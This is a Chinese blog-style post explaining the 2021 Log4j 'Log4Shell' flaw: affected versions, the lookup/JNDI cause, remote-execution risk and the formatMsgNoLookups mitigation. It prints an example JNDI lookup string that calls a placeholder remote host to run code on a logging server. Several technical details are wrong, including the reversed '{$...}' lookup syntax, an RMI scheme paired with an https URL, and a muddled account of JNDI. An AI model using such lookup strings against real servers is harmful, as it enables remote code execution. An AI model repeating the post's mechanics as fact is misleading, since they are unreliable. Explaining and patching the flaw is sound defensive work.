Apache log4j核弹级漏洞,一篇完全理解漏洞原因

2021年12月9日,Log4j组件发生了核弹级别的安全漏洞。作为Java语言程序最普遍使用的组件之一,该次漏洞影响覆盖面之广堪比核弹爆炸;漏洞影响力的大小,从被大家戏称为Log4Shell就可以看出危害之大!

相信圈内的人基本都听到了该消息,也和我一样想弄清楚漏洞究竟是怎么发生的?漏洞的影响范围?能带来什么危害?漏洞的原理是什么?

12月10日,Apache官方也是披露了漏洞的相关详细信息。带着疑问了解了相关信息,分享给大家。

一、漏洞的影响范围?

程序中使用了Apache Log4j 2.x <= 2.14.1 版本,或使用的组件中依赖了该范围版本的log4j,就会收到影响!

二、漏洞产生的原因?

此次漏洞的出现,正是由用于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。说到这可能还是不太理解,后面会详细说明。

三、能带来什么危害?

此次漏洞的出现,让log4j被戏称为log4Shell。危害就是理论上可以如同shell工具一般,远程在服务器上执行所有的命令!这岂不是起飞?

四、漏洞的原理?

终于到我最关心的漏洞原理部分了。

Log4J提供了支持Java的Lookup功能,可能很多人都不太了解lookup。没关系,只需要支持到lookup可以通过{$xx}的方式来执行一些命令和操作就行。log4j支持在日志中使用该表达式执行命令。下面是log4j使用lookup的简单示例,可以打印系统os信息。

public void test() {
        log.info("{$java:os}");
} 

相必看到上面大家对lookup的功能已有所了解。接下来需要配合JNDI,就可以实现对使用log4j的服务进行攻击了。看到这里又不明白了,JNDI是什么?ok,不重要!知道它的作用就行。

举个例子,平时我们在工作中,希望在服务器执行某个本地接口的功能,此时可以使用在本地机器中执行命令:jndi:rmi:https://xx.xx.com/remote/operate。即可以在服务器上执行该接口的代码逻辑,例如操作文件、数据库增删改查等等操作!

则log4j漏洞同理,攻击者需要通过接口请求让服务的日志中打印如下代码:

public void test() {
        log.info("{$jndi:rmi:https://xx.xx.com/remote/operate}");
}

即可完成在服务器上执行操作文件、数据库增删改查等等操作!

还是不太懂可以看下图:
在这里插入图片描述

攻击者定义一个接口,在接口中定义数据库操作等。
攻击者携带lookup支持表达式进行请求服务器。
服务器通过log4j打印出请求信息。
log4j打印完成后会执行JNDI操作。
这样就解释了漏洞的产生,极其高危!

五、解决方案?

综上所述:关闭lookup或者jndi功能就可以解决,也可以直接升级最新版本。

通过设置系统属性 log4j2.formatMsgNoLookups,或者环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 为 true 来禁用 lookup 行为。
Apache官方也进行了紧急的修复,升级官方修复版本即可。
了解更多Java知识和热点技术,学习分布式系统,面试经历等,可以关注我的公众号Java码农杂谈哦~

#Java知识点总结##Java##学习路径#
全部评论
感谢大佬分享
点赞 回复 分享
发布于 2022-01-12 20:19

相关推荐

01-18 09:26
已编辑
门头沟学院 Java
王桑的大offer:建议中间件那块写熟悉即可,写掌握 面试包被拷打到昏厥
点赞 评论 收藏
分享
评论
2
6
分享

创作者周榜

更多
牛客网
牛客企业服务